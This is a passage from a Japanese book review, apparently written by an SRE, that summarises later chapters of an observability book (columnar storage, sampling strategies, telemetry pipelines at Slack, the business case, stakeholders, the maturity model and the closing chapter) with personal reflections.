という手法を採用しています。これにより、行と列の両方の部分スキャンを効率的に実行できるようになっているのです。クエリワークロード本書は、列指向ストレージを使ってクエリワークロードを実行する方法についても説明しています。クエリの時間範囲と重なるセグメントを特定し、各セグメントでフィルタや出力に使用される列を独立にスキャンする。 その後、セグメント内およびセグメント間で集約を行い、最終的な結果を返します。この手法により、高カーディナリティと高次元のデータを効率的に扱うことができます。タイムスタンプ以外のディメンションに特権はなく、任意の複雑な組み合わせでフィルタリングできるのです。 事前集約や、データの複雑さに対する人為的な制限も必要ありません。トレーススパン上のどのフィールドもクエリ可能なのです。Retrieverでは、オープンな列ファイルが常にクエリ可能であり、クエリプロセスが部分ファイルの読み取りのためのフラッシュを強制できるようにしています。これにより、セグメントが確定し、圧縮されるのを待つことなく、リアルタイムでデータにアクセスできるようになっているのです。また、Retrieverは、データの取り込みとシリアライズの関心事をデータのクエリの関心事から分離しています。これにより、シリアライズプロセスに問題が発生しても、古いデータのクエリを妨げることはありません。 クエリエンジンへのスパイクがデータの取り込みとシリアライズを妨げないという副次的なメリットもあります。スケーラビリティと耐久性大規模なデータセットでは、水平方向のスケールアウトと、データ損失やノードの一時的な利用不可に対する耐久性が求められます。Retrieverでは、スケーラビリティと耐久性のためにストリーミングデータパターンを使用しています。 Apache Kafkaを活用し、プロデューサーやコンシューマー、ブローカーの再起動に対して弾力性のある、順序付けられた永続的なデータバッファを維持しているのです。受信プロセスとストレージプロセスの関心事を分離することで、受信ワーカーまたはストレージワーカーを自由に再起動でき、データのドロップや破損を避けることができます。 Kafkaクラスタは、災害復旧シナリオでの再生に必要な最大期間だけデータを保持すればよいのです。スケーラビリティを確保するために、書き込みワークロードに必要な数のKafkaパーティションを作成します。各パーティションは、各データセットに対して独自のセグメントセットを生成します。 クエリ時には、パーティションに関係なく、時間とデータセットに一致するすべてのセグメントをクエリする必要があります。冗長性を確保するために、複数の取り込みワーカーが任意のKafkaパーティションから消費できます。Kafkaは一貫した順序付けを保証し、取り込みプロセスは決定論的なので、単一のパーティションを消費する並列の取り込みワーカーは、同一の出力を生成する必要があります。この方法で、高カーディナリティと高次元の任意の組み合わせに対して、高速で耐久性のあるクエリを実現できるのです。オブザーバビリティデータ管理の新しいアプローチ本章から学んだ最も重要な教訓は、オブザーバビリティワークロードには独自のパフォーマンス特性が必要だということです。従来のストレージシステムでは、リアルタイムのデバッグワークフローをサポートするのに十分なパフォーマンスを発揮できません。Retrieverの実装は、これらの課題に対する一つの解決策を提示しています。タイムスタンプによるセグメントパーティショニングと、セグメント内の列指向ストレージを組み合わせることで、高速性、コスト効率、信頼性という、オブザーバビリティに不可欠な要件を満たしているのです。もちろん、これが唯一の解決策というわけではありません。Google Cloud BigQuery、ClickHouse、Druidなども、オブザーバビリティワークロードを適切に処理できる可能性があります。ただし、これらのデータストアは、オブザーバビリティ固有のワークロードに対する運用テストがまだ十分ではなく、必要な自動シャーディングをサポートするためにカスタム作業が必要になるかもしれません。本章で紹介された手法は、現代のオブザーバビリティバックエンドのアーキテクチャを理解するのに非常に役立ちます。 また、自社でオブザーバビリティソリューションを構築する必要がある場合にも、貴重な教訓となるでしょう。ElasticsearchやCassandraなど、この目的にはあまり適さないデータストアを維持するのに苦労するよりも、専用の列指向ストアを採用することを強くお勧めします。 それが、オブザーバビリティデータを管理するための新しいアプローチなのです。私自身、SREとして大規模なオブザーバビリティシステムの構築に携わった経験から、著者の指摘に強く共感しました。当初は、一般的なNoSQLデータベースを使っていましたが、クエリのパフォーマンスとコストの問題に直面しました。列指向ストレージに移行したことで、高カーディナリティと高次元のデータを、低コストかつ高速に扱えるようになったのです。また、データの取り込みとクエリを分離することの重要性も実感しました。片方のプロセスで問題が発生しても、もう片方に影響を与えないようにすることが、システム全体の安定性につながります。 Kafkaなどのストリーミングプラットフォームを活用することで、この分離をスマートに実現できるのです。Chapter 17. Cheap and Accurate Enough: Sampling「Chapter 17. Cheap and Accurate Enough: Sampling」は、オブザーバビリティデータのサンプリングについて、その戦略と実装方法を詳細に解説した章でした。本書は、サンプリングがリソース制約に対処しつつ、データの忠実性を維持するための有効な手段であることを明確に示しています。サンプリングによるデータ収集の最適化本書は、ある規模を超えると、すべてのイベントを収集・処理・保存するためのコストが、そのメリットを大幅に上回ってしまうと指摘しています。オブザーバビリティイベントが膨大なデータの洪水になると、データ量を減らすことと、エンジニアリングチームが必要とする重要な情報を失うことのバランスが問題になるのです。しかし、多くのアプリケーションでは、イベントの大半がほぼ同一で成功しています。デバッグの核心は、新たなパターンを検出したり、障害時の失敗イベントを調べたりすることです。その観点からすると、すべてのイベントをバックエンドに送信するのは無駄なのです。 代表的なイベントを選択し、実際に発生したことを再構成するために必要なメタデータとともに送信することで、オーバーヘッドを削減しつつ、データの元の形状を忠実に復元できるのです。サンプリング戦略の違い本書は、サンプリングの様々な戦略について説明しています。最もシンプルなのは、一定の確率でデータを保持する「一定確率サンプリング」です。しかし、これは、エラーケースを重視する場合や、トラフィック量が大きく異なる顧客がいる場合には効果的ではありません。より洗練された手法としては、最近のトラフィック量に基づいてサンプリング率を動的に調整する「最近のトラフィック量サンプリング」や、イベントのペイロードに基づいてサンプリング率を調整する「イベントコンテンツ(キー)サンプリング」などがあります。Figure 17-1. Different events may be sampled at different rates より引用さらに、これらの手法を組み合わせ、各キーの最近のトラフィック量に基づいてサンプリング率を動的に調整することもできます。適切なサンプリング戦略は、サービスを流れるトラフィックの特性や、そのサービスにヒットするクエリの多様性によって異なります。トレースイベントのサンプリングトレースイベントの場合、サンプリングの決定を行うタイミングも重要になります。トレーススパンは複数のサービスにまたがって収集されるため、すべてのスパンが選択される確率は比較的低くなります。すべてのスパンを確実にキャプチャするには、サンプリングの決定をいつ行うかに応じて、特別な配慮が必要です。イベントの開始時に決定を行う「ヘッドベースサンプリング」と、イベントの実行完了後に決定を行う「テールベースサンプリング」の2つのアプローチがあります。コードによるサンプリング戦略の実装本書は、これらのサンプリング戦略をGoのコード例で示しています。一定確率サンプリングから始まり、サンプリング率の記録、一貫性のあるサンプリング、ターゲットレートサンプリング、複数の静的サンプリングレート、キーとターゲットレートによるサンプリング、任意の数のキーでの動的レートサンプリングと、徐々に概念を発展させていきます。最終的には、ヘッドベースサンプリングとテールベースサンプリングを組み合わせ、下流のサービスにトレースのサンプリングを要求できるようにしています。これは、デバッグに必要なすべてのコンテキストをキャプチャするための柔軟性を提供する強力な例です。Figure 17-3. Sampled events containing a TraceId より引用大切なのは状況に応じた賢明なサンプリング本章から学んだ最も重要な教訓は、サンプリングがオブザーバビリティデータを洗練するための有用なテクニックだということです。サンプリングは大規模な環境では必須ですが、小規模な環境でも様々な状況で有用です。コードベースの例は、様々なサンプリング戦略がどのように実装されるかを示しています。OpenTelemetryのようなオープンソースのインストルメンテーションライブラリがこの種のサンプリングロジックを実装するようになってきているため、自分のコードでこれらのサンプリング戦略を再実装する必要性は低くなっています。しかし、サードパーティのライブラリに依存する場合でも、サンプリングがどのように実装されているかを理解することは不可欠です。 それにより、自分の状況に合った方法を選択できるようになるからです。何を、いつ、どのようにサンプリングするかは、コードをどのようにインストルメント化するかを決める際と同様に、組織のユニークなニーズによって定義されるのが最適です。イベントのどのフィールドがサンプリングに興味深いかは、環境の状態を理解し、ビジネス目標の達成に与える影響を判断するのにどれだけ役立つかに大きく依存します。私自身、SREとして大規模なオブザーバビリティシステムの運用に携わった経験から、著者の主張に強く共感しました。当初は、すべてのイベントを収集していましたが、データ量の爆発的な増加に悩まされました。適切なサンプリング戦略を導入したことで、リソース消費を抑えつつ、デバッグに必要な情報を確実に取得できるようになったのです。また、状況に応じてサンプリング戦略を使い分けることの重要性も実感しています。フロントエンドのアプリとバックエンドのサービスでは、最適なサンプリング方法が大きく異なります。 画一的なアプローチではなく、各システムの特性を考慮した柔軟なサンプリングが不可欠だと考えています。Chapter 18. Telemetry Management with Pipelines「Chapter 18. Telemetry Management with Pipelines」は、複雑化するアプリケーションインフラストラクチャにおいて、テレメトリデータを効果的に管理するためのパイプラインの役割について解説した章でした。著者のSuman KarumuriとRyan Katkovは、Slackでの実際の事例を通して、テレメトリパイプラインの設計と運用のベストプラクティスを共有しています。テレメトリパイプラインの利点本書は、テレメトリパイプラインを構築することで得られる様々なメリットを挙げています。まず、パイプラインによって、テレメトリデータをアプリケーションから異なるバックエンドにルーティングすることができます。 これにより、アプリケーションの変更なしに、データの流れを柔軟に制御できるようになるのです。また、セキュリティ上の理由から、特定のチームのみがテレメトリデータにアクセスできるようにしたり、GDPR(一般データ保護規則)やFedRAMP(米連邦リスク・認証管理プログラム)などのコンプライアンス要件を満たすために、データの保存場所や保持期間を制限したりすることもできます。ワークロードの分離も、テレメトリパイプラインの重要な機能です。 大量のログを生成するアプリケーションと低ボリュームのアプリケーションを分離することで、クラスタのパフォーマンスへの影響を最小限に抑えられます。さらに、パイプラインは、オブザーバビリティバックエンドの停止時にデータを一時的にバッファリングする役割も果たします。これにより、テレメトリデータのギャップを防ぎ、サービスの可視性を維持することができるのです。テレメトリパイプラインのアナトミー本書は、機能的なテレメトリパイプラインの基本的なコンポーネントとアーキテクチャについても説明しています。単純に言えば、テレメトリパイプラインは、レシーバー、バッファー、プロセッサー、エクスポーターが直列に連なったものです。レシーバーはソースからデータを収集し、バッファーはデータを一時的に保存します。プロセッサーはバッファーからデータを取得し、変換を適用してからバッファーに戻します。エクスポーターは、バッファーからデータを取り出し、テレメトリバックエンドに書き込みます。Figure 18-1. A receiver, buffer, and exporter as frequently used in simple telemetry pipelines より引用より複雑な設定では、レシーバー→バッファー→レシーバー→バッファー→エクスポーターという一連のチェーンを形成することもあります。Figure 18-2. An advanced example of a telemetry pipeline with a processor より引用パイプライン内のレシーバーやエクスポーターは、容量計画、ルーティング、データ変換など、可能な操作の1つのみを担当することが多いのです。Slackでのテレメトリ管理の事例本書は、Slackがどのようにテレメトリパイプラインを活用しているかを具体的に解説しています。Slackでは、メトリクスの集約にPrometheusを使用しています。PHPやHackアプリケーションサーバーからメトリクスを収集するために、カスタムのPrometheusライブラリを使って、リクエストごとにメトリクスをローカルデーモンに送信しています。Figure 18-3. Aggregation of metrics from a per-request process application より引用ログとトレースイベントの管理には、社内で開発したMurronというGoアプリケーションを使用しています。Murronは、レシーバー、プロセッサー、エクスポーターの3種類のコンポーネントで構成されており、毎秒数百万のメッセージを処理しています。Figure 18-4. Slack telemetry pipeline with receivers, buffers, and exporters for trace data より引用Slackでは、トレースデータの構造を簡素化するために、SpanEventという新しいフォーマットを実装しています。これにより、エンジニアがトレースを簡単に生成・分析できるようになり、CI/CDシステムのインストルメンテーションなど、新しい可能性が開けるのです。Figure 18-5. Slack’s tracing infrastructure, with applications in pink (light gray in print), receivers and exporters in blue (medium gray) より引用テレメトリパイプラインの重要性と選択本章から学んだ最も重要な教訓は、テレメトリパイプラインが、オブザーバビリティデータを効果的に管理するために不可欠だということです。 パイプラインは、データのルーティング、セキュリティ、コンプライアンス、ワークロードの分離、バッファリングなど、様々な課題に対処するための強力なツールとなります。本書は、オープンソースのツールを組み合わせることで、今日から簡単にテレメトリパイプラインを構築できると述べています。一方で、組織の成長に伴い、パイプラインの管理は複雑になり、多くの課題をもたらすことも指摘しています。ビジネスの現在のニーズに合わせてパイプラインを構築し、将来のニーズを予測しつつも、過剰な実装は避けるべきだと著者は勧めています。 モジュール性を維持し、プロデューサー、バッファー、プロセッサー、エクスポーターのモデルに従うことで、オブザーバビリティ機能をスムーズに運用しながら、ビジネスに価値を提供できるようになるのです。私自身、SREとして複雑なマイクロサービスアーキテクチャを管理した経験から、著者の主張に強く共感しました。サービス間の依存関係が複雑になるほど、各サービスが生成するテレメトリデータを適切に管理することが困難になります。テレメトリパイプラインを導入したことで、データの流れを一元的に制御し、必要な情報を適切なバックエンドに確実に届けられるようになったのです。また、Slackの事例から、オープンソースツールと自社開発ツールを組み合わせて、自社のニーズに合ったパイプラインを構築することの重要性も学びました。すべてを一から開発するのではなく、既存のツールを活用しつつ、不足する機能を補うことが、効率的で柔軟性の高いパイプラインの実現につながるのだと思います。Part V. Spreading Observability Culture大規模に可観測性を実践する際の課題に対処することに焦点を当ててますChapter 19. The Business Case for Observability「Chapter 19. The Business Case for Observability」は、オブザーバビリティの導入を組織全体に広めるために、様々なステークホルダーからの支持を得る方法について解説した章でした。本書は、オブザーバビリティの必要性を認識するアプローチとして、リアクティブとプロアクティブの2つの方法を示し、それぞれのメリットとデメリットを詳しく説明しています。オブザーバビリティ導入へのリアクティブなアプローチ本書は、まず組織がオブザーバビリティを導入する「リアクティブ」なアプローチについて述べています。多くの組織は、従来のアプローチでは対処できない深刻な課題に直面するまで、オブザーバビリティの必要性を認識しないと指摘しています。例えば、重大なサービス障害が発生した場合、根本原因分析によって単一の理由が特定されると、経営陣はその理由を基に、問題が迅速に解決されたことを示すための単純化された是正措置を求めがちです。しかし、問題を素早く解決しようとするあまり、過度に単純化されたアプローチをとると、根本的な原因ではなく、最も明白な症状に対処するだけに終わってしまうのです。また、従来のツールでは許容せざるを得なかった非効率性を認識できないことも、リアクティブなアプローチを招く原因です。オブザーバビリティがないチームは、同じような症状と根本原因を持つインシデントを追跡するために、多くの時間を浪費しています。 これは、エンジニアリングチームにアラート疲労を引き起こし、最終的には燃え尽き症候群につながります。オブザーバビリティのROI本書は、オブザーバビリティの導入が、ビジネスにもたらす4つの重要な影響について説明しています。コード品質の向上による売上増加MTTDとMTTRの短縮による インシデント対応コストの削減インシデントの防止によるコスト削減従業員の離職率低下によるコスト削減Forrester Researchが実施した調査では、これらのメリットが数値化されています。オブザーバビリティは、ビジネスの収益性と効率性に直接的かつ間接的に影響を与えるのです。オブザーバビリティ導入へのプロアクティブなアプローチ本書は、オブザーバビリティの必要性を予測し、従来のプラクティスを変革するための「プロアクティブ」なアプローチについても述べています。オブザーバビリティの導入を正当化するためには、まず、TTD(発見までの時間)とTTR(解決までの時間)の改善効果を示すことが有効です。オブザーバビリティは、従来のモニタリングツールでは発見できなかった個々のユーザーの問題を特定し、コア分析ループの自動化によって問題の根本原因を迅速に特定できるようになります。さらに、問題の検出と解決が迅速になることで、予期せぬ運用作業の量が減少し、オンコールのストレスが軽減されます。これにより、バグの蓄積が減り、新機能の開発に費やす時間が増えるのです。 また、個々のユーザーリクエストのパフォーマンスとボトルネックの原因を理解することで、サービスを迅速に最適化できるようになります。このように、オブザーバビリティは、エンジニアリングと運用の間の障壁を取り除き、ソフトウェアの開発と運用により多くの責任を持たせることができるのです。オブザーバビリティの実践本書は、オブザーバビリティを継続的な実践として導入することの重要性を強調しています。オブザーバビリティは、セキュリティやテスト可能性と同様に、生産サービスの開発と運用に責任を持つ全員が共有すべき責任なのです。効果的なオブザーバブルシステムを構築するには、技術的な能力だけでなく、心理的安全性を育む文化も必要です。ブレームレス文化は、実験を支援し、好奇心に満ちたコラボレーションを奨励する、心理的に安全な環境を育みます。 これは、従来のプラクティスを進化させるために不可欠なのです。また、オブザーバビリティの実践では、エンジニアが生産環境の問題を検出し解決するだけでなく、ビジネスインテリジェンスの質問にリアルタイムで答えることも奨励されるべきです。オブザーバビリティは、ソフトウェア開発、運用、ビジネス成果の間の人為的な壁を取り除くのです。適切なツールの選択オブザーバビリティには、コードのインストルメンテーション、テレメトリデータの保存、そのデータの分析など、技術的な能力が必要です。そのためには、適切なツールを選択することが重要です。インストルメンテーションには、OpenTelemetry(OTel)が新たな標準として登場しています。OTelを使えば、特定のベンダーのインストルメンテーションフレームワークにロックインされることなく、テレメトリデータを任意の分析ツールに送信できます。データストレージと分析は、オープンソースと独自の選択肢があります。商用ベンダーは通常、ストレージと分析をバンドルしていますが、オープンソースソリューションでは、別々のアプローチが必要です。自前のデータストレージクラスタを運用する運用負荷を慎重に検討し、ビジネスニーズの中核となる差別化要因に貴重なエンジニアリングサイクルを投資することが肝要です。十分なオブザーバビリティの判断本書は、オブザーバビリティが「十分」であるかどうかを判断する方法についても説明しています。オブザーバビリティを実践するチームは、新しいコードに適切なインストルメンテーションがバンドルされていることを習慣づける必要があります。コードレビューでは、新しいコードのインストルメンテーションが適切なオブザーバビリティ基準を満たしていることを確認すべきです。オブザーバビリティが十分であるかどうかは、文化的な行動と主要な結果を見ることでわかります。オブザーバビリティのメリットを享受するチームは、生産環境を理解し運用する自信を高めるはずです。 未解決の「ミステリー」インシデントの割合は減少し、インシデントの検出と解決にかかる時間は組織全体で短縮されるでしょう。オブザーバビリティ文化を組織全体に広めるために本章から学んだ最も重要な教訓は、オブザーバビリティの導入には、組織全体の支持が不可欠だということです。 オブザーバビリティの必要性は、重大な障害への対応という形でリアクティブに認識されることもあれば、イノベーションを阻害する要因を取り除くためにプロアクティブに認識されることもあります。いずれにせよ、オブザーバビリティのイニシアチブを支援するためのビジネスケースを作成することが肝要なのです。オブザーバビリティは、セキュリティやテスト可能性と同様に、継続的な実践としてアプローチする必要があります。オブザーバビリティを実践するチームは、コードの変更にテストと適切なインストルメンテーションを習慣づけなければなりません。 オブザーバビリティには継続的なケアとメンテナンスが必要ですが、本章で概説した文化的行動と主要な結果を探ることで、オブザーバビリティが十分に達成されたかどうかを知ることができるのです。私自身、SREとしてオブザーバビリティの導入に携わった経験から、著者の主張に強く共感しました。当初は、オブザーバビリティの必要性を感じていたのは私たちのチームだけでしたが、インシデントの検出と解決にかかる時間が大幅に短縮されたことで、他のチームからも注目されるようになりました。 そこで、オブザーバビリティの実践をエンジニアリング組織全体に広げるために、経営陣への働きかけを始めたのです。当初は難色を示していた幹部たちも、オブザーバビリティによるビジネスへの具体的なメリットを示すことで、徐々に理解を示してくれるようになりました。特に、MTTRの改善とそれによるエンジニアの生産性向上は、説得力のあるデータポイントでした。結果として、オブザーバビリティはエンジニアリング組織全体に浸透し、今では私たちのカルチャーの中核をなしています。新入社員はコードとインストルメンテーションをセットで書くことを求められ、シニアエンジニアは率先してオブザーバビリティ駆動の開発を実践しています。Chapter 20. Observability’s Stakeholders and Allies「Chapter 20. Observability\'s Stakeholders and Allies」は、組織全体でオブザーバビリティの採用を広げるために、エンジニアリングチーム以外のステークホルダーとどう連携すべきかを解説した章でした。本書は、オブザーバビリティが様々なチームの目標達成に役立つことを示し、それらのチームをオブザーバビリティ採用の同盟者にする方法を詳しく説明しています。SREやアーキテクトの仕事でも似たような話があるのでめちゃくちゃに参考になりました。 speakerdeck.comエンジニアリング以外のオブザーバビリティニーズの認識本書は、まずエンジニアリング以外のチームがオブザーバビリティを必要とするケースについて述べています。オブザーバビリティは、ソフトウェアが実際のユーザーの手にどのように動作しているかを理解するためのレンズです。 それは、ビジネスにとって非常に重要な情報なのです。例えば、新機能の採用状況、新規顧客の製品利用傾向、サービスの可用性情報、信頼性のトレンド、インシデントの予防的解決、機能のリリーススピードなど、様々な側面でオブザーバビリティが役立ちます。顧客体験の理解と改善は、組織のあらゆるチームの仕事なのです。本書は、オブザーバビリティデータの民主化を勧めています。誰もがソフトウェアの実際の動作を見られるようにすることで、各チームが独自の視点と質問を持ち込み、コミュニケーションのサイロを取り除くことができるのです。実践におけるオブザーバビリティの同盟者の獲得次に本書は、様々なステークホルダーにオブザーバビリティがビジネス課題の解決にどう役立つかを示し、オブザーバビリティ採用の同盟者にする方法を説明しています。カスタマーサポートチームカスタマーサポートチームは、顧客から問題の報告を受ける最前線です。従来のモニタリングでは、問題の検出や対応に時間がかかり、その間に顧客からの問い合わせが山積みになってしまいます。オブザーバビリティを使えば、サポートチームは顧客が報告した問題をデバッグし、既知の問題に関連しているかどうかを迅速に確認できます。 これにより、問題のトリアージを適切に行い、自動検知されない問題を特定することもできるのです。カスタマーサクセスチームとプロダクトチームカスタマーサクセスチームは、顧客が製品を効果的に使えるよう支援する、より積極的なアプローチをとります。オブザーバビリティは、製品の使われ方を理解するのに非常に役立ちます。 これは、プロダクトチームにとっても有益な情報です。例えば、新機能の採用が芳しくない場合、オブザーバビリティを使って、その機能がワークフローのどこで、どのように呼び出されているかを見ることができます。顧客の行動パターンを分析することで、機能の採用を促進する方法を見出すことができるのです。営業チームとエグゼクティブチーム営業チームは、売れる製品機能を理解し、サポートすることに関心があります。オブザーバビリティデータを使えば、どの顧客がどの機能をどのくらいの頻度で使っているかを把握できます。 これは、営業戦略の立案に役立つ定量的な分析です。エグゼクティブは、ビジネスに最大のインパクトを与える戦略的投資の方向性を確実に理解したいと考えています。オブザーバビリティデータは、エンジニアリング投資とビジネス目標を結びつけるのに役立ちます。 それにより、組織全体でのアライメントを創出できるのです。オブザーバビリティツールとBIツールの使い分け本書は、オブザーバビリティツールとビジネスインテリジェンス(BI)ツールの違いについても説明しています。オブザーバビリティツールは、コード、インフラ、ユーザー、時間の交差点を理解するために特化しています。それに対し、BIツールは非常に一般化されています。オブザーバビリティツールは、クエリの実行時間、精度、鮮度、構造、時間幅、一時性などの点で、BIツールとは異なるトレードオフを行っているのです。また、BIツールはしばしば集計メトリクスにロックインされ、ビジネス全体の超ビッグピクチャーしか見えなくなります。一方、オブザーバビリティは、製品の使用状況やユーザーの行動について質問する際に、より詳細なレベルでのデータを提供できます。オブザーバビリティツールを部門間で共有することは、共通言語を促進するための素晴らしい方法です。エンジニアはビジネス言語を使ってドメインモデルを記述することを奨励され、ビジネス側は実際のユーザーベースの多様性を理解できるようになるのです。オブザーバビリティの採用を組織全体に広げるために本章から学んだ最も重要な教訓は、オブザーバビリティが、組織内の様々なチームの目標達成に役立つ強力なツールだということです。 エンジニアリングチームだけでなく、プロダクト、サポート、カスタマーサクセス、営業、エグゼクティブなど、あらゆるチームがオブザーバビリティから恩恵を受けることができます。これらのチームがオブザーバビリティを活用して目標を達成できるよう支援することで、オブザーバビリティ採用の強力な同盟者を獲得できるのです。彼らは、オブザーバビリティ採用の取り組みに優先順位を付け、後押ししてくれるでしょう。著者が示した事例は決して網羅的ではありません。むしろ、どのようなビジネスチームがオブザーバビリティデータを活用して、より良い結果を達成できるかを考えるためのプライマーとして使えます。 他のビジネスチームの目標達成を支援することが、オブザーバビリティ採用の取り組みを推進するための鍵なのです。私自身、SREとしてオブザーバビリティの導入に携わった経験から、著者の主張に強く共感しました。当初は、オブザーバビリティの価値をエンジニアリングチーム以外に伝えるのは難しいと感じていました。しかし、様々なチームにオブザーバビリティがどう役立つかを具体的に示すことで、次第に理解と協力を得られるようになったのです。特に、カスタマーサポートチームとの連携は大きな転機となりました。オブザーバビリティを使ってお客様の問題をより迅速に解決できるようになったことで、サポートチームはオブザーバビリティの強力な支持者になってくれました。 彼らの後押しがあったからこそ、組織全体でのオブザーバビリティ採用が加速したのだと思います。Chapter 21. An Observability Maturity Model「Chapter 21. An Observability Maturity Model」は、組織がオブザーバビリティの採用を測定し、優先順位を付けるための指針となる「オブザーバビリティ成熟度モデル(OMM)」について解説した章でした。本書は、OMM が目標とする成果を明確にし、組織のオブザーバビリティ実践の成熟度を評価するための能力を特定しています。OMMについては監視からオブザーバビリティへ〜オブザーバビリティの成熟度/From Monitoring to Observability - Maturity of Observability が良かったのでオススメです。 speakerdeck.comオブザーバビリティ最前線 〜 事例LTから学ぶ、オブザーバビリティの成熟度〜という勉強会の動画もあるので追記しておきます。www.youtube.com成熟度モデルについての注意点本書は、まず成熟度モデルの限界について述べています。成熟度モデルは、ソフトウェア工学チームのパフォーマンスレベルに上限がないことや、実践が絶えず進化し改善されていることを考慮していません。 また、モデルが作成された時点での理想的な未来のスナップショットに過ぎず、著者の偏見が多くの仮定に組み込まれている可能性があります。したがって、成熟度モデルを見る際には、すべての組織に当てはまるワンサイズフィットオールのモデルは存在しないことを常に念頭に置く必要があります。成熟度モデルは、自社のニーズと望ましい成果を批判的かつ体系的に評価するための出発点として役立ちます。 また、長期的な取り組みを推進するのに役立つ、具体的で測定可能な目標を特定し、定量化するのにも役立ちます。オブザーバビリティが成熟度モデルを必要とする理由本書は、オブザーバビリティの実践を導入するチームに見られる定性的な傾向と、ソフトウェアエンジニアリングの専門家を対象とした調査から得られた定量的な分析を組み合わせて、OMMを構築したと説明しています。オブザーバビリティを導入したチームは、導入していないチームに比べて、生産環境でのソフトウェアの品質を確保する能力に自信を持つ確率が3倍高いことがわかりました。 また、オブザーバビリティを導入していないチームは、作業時間の半分以上を、新しい製品機能のリリースにつながらない作業に費やしていました。これらのパターンは、今日の複雑な社会技術システムから生まれた特性です。ソフトウェアの品質の確保や、機能のイノベーションに費やす時間などの能力を分析することで、グループ行動の病理とその解決策の両方が明らかになります。 オブザーバビリティの実践を採用することは、「よりよいコードを書く」や「よりよい仕事をする」といった個人の努力では解決できない問題の解決に役立つのです。OMMが参照する能力本書は、オブザーバビリティの実践の質に直接影響を与える5つの能力について詳しく説明しています。レジリエンスを持ってシステム障害に対応する高品質のコードを提供する複雑性と技術的負債を管理する予測可能なペースでリリースするユーザーの行動を理解するこれらの能力は、網羅的なリストではありませんが、潜在的なビジネスニーズの広さを表しています。重要なのは、これらの能力を構築することは「終わり」のない追求であり、常に継続的な改善の余地があるということです。組織のためのOMMの活用OMMは、オブザーバビリティを効果的に活用するための組織の能力を見直すのに役立つツールです。モデルは、チームの能力が欠けている点と優れている点を測定するための出発点を提供します。 オブザーバビリティの文化を採用し、広めるための計画を立てる際には、自社のビジネスのボトムラインに最も直接的に影響を与え、パフォーマンスを向上させる能力を優先することが有効です。成熟したオブザーバビリティ実践を構築することは、直線的な進歩ではなく、これらの能力は真空の中に存在しないことを覚えておくことが重要です。オブザーバビリティはそれぞれの能力に絡み合っており、ある能力の向上が他の能力の結果に貢献することもあります。 そのプロセスの展開は、各組織のニーズに固有のものであり、どこから始めるかは現在の専門分野によって異なります。各能力を見直し、優先順位を付ける際には、チーム内でこの変革を推進する明確な担当者を特定する必要があります。その取り組みをレビューし、自社に関連する明確な成果重視の指標を開発することが肝要です。 明確なオーナーシップ、説明責任、そして資金と時間の面でのスポンサーシップがなければ、進歩は難しいでしょう。オブザーバビリティ成熟度モデルが示す道筋本章から学んだ最も重要な教訓は、オブザーバビリティ成熟度モデルが、組織が望ましい成果を測定し、独自のカスタマイズされた採用パスを作成するための出発点を提供するということです。オブザーバビリティの実践を成熟させた高パフォーマンスチームを牽引する重要な能力は、以下の軸に沿って測定されます。システム障害にレジリエンスを持って対応する方法高品質のコードを容易に提供できる方法複雑性と技術的負債を適切に管理する方法ソフトウェアのリリースペースが予測可能である方法ユーザーの行動を適切に理解できる方法OMMは、オブザーバビリティを採用している組織全体で気づいた定性的な傾向と、ソフトウェアエンジニアリングの専門家を対象とした調査から得られた定量的な分析を組み合わせたものです。本章で示した結論は、2020年と2021年に実施された調査研究を反映しています。 成熟度モデル自体は、オブザーバビリティの採用が広がるにつれて進化していくでしょう。同様に、オブザーバビリティの実践も進化し、成熟への道のりは組織ごとに独自のものになるでしょう。しかし、本章は、組織が独自の実用的なアプローチを作成するための基礎を提供しています。私自身、SREとしてオブザーバビリティの導入に携わった経験から、著者の主張に強く共感しました。当初は、オブザーバビリティの成熟度を測定することは難しいと感じていました。しかし、OMMを使って自社の能力を評価し、優先順位を付けることで、オブザーバビリティ文化を組織全体に広めるためのロードマップを作成することができたのです。特に、「予測可能なペースでリリースする」能力の向上は、私たちのチームにとって大きな転機となりました。従来は、新機能のリリースが遅れがちで、お客様からのフィードバックを得るのに時間がかかっていました。オブザーバビリティを活用することで、リリースプロセスを可視化し、ボトルネックを特定して改善することができるようになったのです。 その結果、リリースペースが安定し、お客様満足度も向上しました。Chapter 22. Where to Go from Here「Chapter 22. Where to Go from Here」は、本書のまとめと今後のオブザーバビリティの展望について述べた、非常に示唆に富んだ一章でした。著者らは、オブザーバビリティの概念と実践が過去数年でどのように進化してきたかを振り返り、これからの方向性を予測しています。オブザーバビリティの定義の進化本章の冒頭で、著者らは本書の執筆に3年以上を要した理由を説明しています。その主な理由は、オブザーバビリティの状態が絶えず変化してきたことにあります。当初は、オブザーバビリティという用語自体を定義する必要があり、データのカーディナリティや次元といった概念も十分に理解されていませんでした。 また、オブザーバビリティとモニタリングが同義語として使われることも多く、その違いを説明するのに苦労したそうです。しかし、今では多くの人がオブザーバビリティの基本概念を理解し、モニタリングとの違いも認識されるようになってきました。人々が求めているのは、より洗練された分析と、オブザーバビリティの実践を成功させるための具体的なガイダンスなのです。本書の構成の変遷また、本書の構成も当初の予定から大きく変化したと著者らは述べています。最初は、より基本的な内容を扱う短い章立てでしたが、一般的な懸念事項や成功パターンが明らかになるにつれ、より深く詳細な内容を追加していったのです。 さらに、大規模なオブザーバビリティの実践から学んだ教訓も取り入れています。加えて、本書は競合他社に勤める人を含む複数のレビュアーとの共同作業の成果でもあります。著者らは、オブザーバビリティの最新の状態を包括的に反映するために、執筆プロセス全体を通して自らの見解を改訂し、幅広い視点を取り入れ、概念を再検討してきたのです。オブザーバビリティ採用の社会技術的課題読者からのフィードバックに基づき、著者らはオブザーバビリティの採用における社会技術的な課題についても追加しました。オブザーバビリティは、ツールを購入するだけでは実現できません。 